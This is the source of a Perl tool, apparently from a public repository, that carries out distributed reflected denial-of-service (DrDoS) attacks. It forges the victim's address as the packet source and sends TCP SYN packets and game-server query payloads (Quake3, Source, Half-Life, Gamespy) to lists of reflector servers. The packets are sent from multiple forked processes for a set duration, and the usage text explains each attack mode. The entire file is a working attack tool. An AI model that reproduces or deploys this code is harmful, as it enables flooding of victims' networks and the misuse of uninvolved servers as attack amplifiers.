Path: blob/master/DDOS Scripts/AMP Methods/NTP - SNMP - HAVEN - DNS -DRDOS - FRAG - SUDP - MEMCACHED/drdos.pl
4622 views
#!/usr/bin/perl -w12use Benchmark;3use Net::RawIP;4use Time::HiRes qw ( usleep );56my $rand = int( rand 0x400 );7my $frag = 0;8my $doff = 0x05;9my $ttl = 0xFF;10my $tos = 0x08;11my $pid;12my $tx;13my @list;14my @running;15my @pids;1617my %attack =18( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );1920if ( @ARGV < 7 || @ARGV > 7 ) {21&usage();22exit;23}2425$tx = $ARGV[3];26my $t0 = new Benchmark;2728print "\n*** Now Reading Hosts Into Array\n\n";2930open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";31chomp( @list = <ELITE> );32close(ELITE);3334sub tcp {35my ( $ip, $port ) = @_;36my $a = new Net::RawIP(37{38ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl },39tcp => {40dest => $port,41source => $ARGV[1],42syn => 1,43ack => 0,44fin => 0,45rst => 0,46psh => 0,47urg => 0,48doff => $doff49}50}51);52$a->send( 0, $tx );53}5455sub quake3 {56my ( $ip, $port ) = @_;57my $a = new Net::RawIP(58{59ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },60udp => {61dest => $port,62source => $ARGV[1],63data => chr(255) . chr(255) . chr(255) . chr(255) . "getstatus" . chr(10),64}65}66);67$a->send( 0, $tx );686970}7172sub source {73my ( $ip, $port ) = @_;74my $a = new Net::RawIP(75{76ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },77udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . chr(85), }78}79);80$a->send( 0, $tx );818283}8485sub hl {86my ( $ip, $port ) = @_;87my $a = new Net::RawIP(88{89ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },90udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "rules", }91}92);93$a->send( 0, $tx );9495}9697sub gs {98my ( $ip, $port ) = @_;99my $a = new Net::RawIP(100{101ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },102udp => {103dest => $port,104source => $ARGV[1],105data => chr(92) . chr(115) . chr(116) . chr(97) . chr(116) . chr(117) . chr(115) . chr(92),106}107}108);109$a->send( 0, $tx );110111}112113sub gs2 {114my ( $ip, $port ) = @_;115my $a = new Net::RawIP(116{117ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },118udp => {119dest => $port,120source => $ARGV[1],121data => chr(254)122. chr(253)123. chr(0)124. chr(67)125. chr(79)126. chr(82)127. chr(89)128. chr(255)129. chr(255)130. chr(255),131}132}133);134$a->send( 0, $tx );135136}137138sub paxor {139my $type = $_[0];140unless ( $type eq "mixed" ) {141while (1) {142foreach (@list) { $attack{$type}->( split( ':', $_ ) );}143}144}145else {146my @part;147while (1) {148foreach (@list) {149@part = split( ":", $_ );150$attack{ $part[2] }->( $part[0], $part[1]);151}152}153}154}155156157for($number = 0;$number < $ARGV[5];$number++)158{159$pid = fork();160if ( $pid == 0 ) {161$SIG{INT} = \&controlsub;162163&paxor( $ARGV[4] );164165my $t1 = new Benchmark;166my $td = timediff( $t1, $t0 );167print "\nTotal Time: ", timestr($td), "\n";168sleep(5);169exit;170}171else {172push(@pids, $pid);173}174}175sleep( $ARGV[6] );176foreach(@pids)177{178kill( "INT", $_ );179}180exit;181182sub controlme {183$SIG{INT} = \&controlme;184print "Signal Caught Now Exiting\n";185my $t1 = new Benchmark;186my $td = timediff( $t1, $t0 );187print "\nTotal Time: ", timestr($td), "\n";188sleep(5);189exit;190}191192sub controlsub {193$SIG{INT} = \&controlsub;194exit;195}196197198sub usage {199print << "HEREDOC";200$0 <target> <target port> <reflector list> <weight> <attack type> <threads> <Time>201DrDOS Tool V1.8 FINAL by ohnoes1479202203Time: Limit running time of the script, Time is in seconds204threads: number of threads to run205attack types:206tcp: reflected tcp SYN attack207quake3: reflected udp attack using quake3 based servers208source: reflected udp attack using Valve Source based servers209hl: reflected udp attack using Half Life servers210gs: reflected udp attack using Gamespy based servers211gs2: reflected udp attack using Gamespy 2 based servers212mixed: specify type of server in list, EG:2138.8.8.8:80:tcp21464.120.46.100:28960:quake3215Command: $0 127.0.0.1 8080 servers.txt 5 tcp216HEREDOC217218}219220221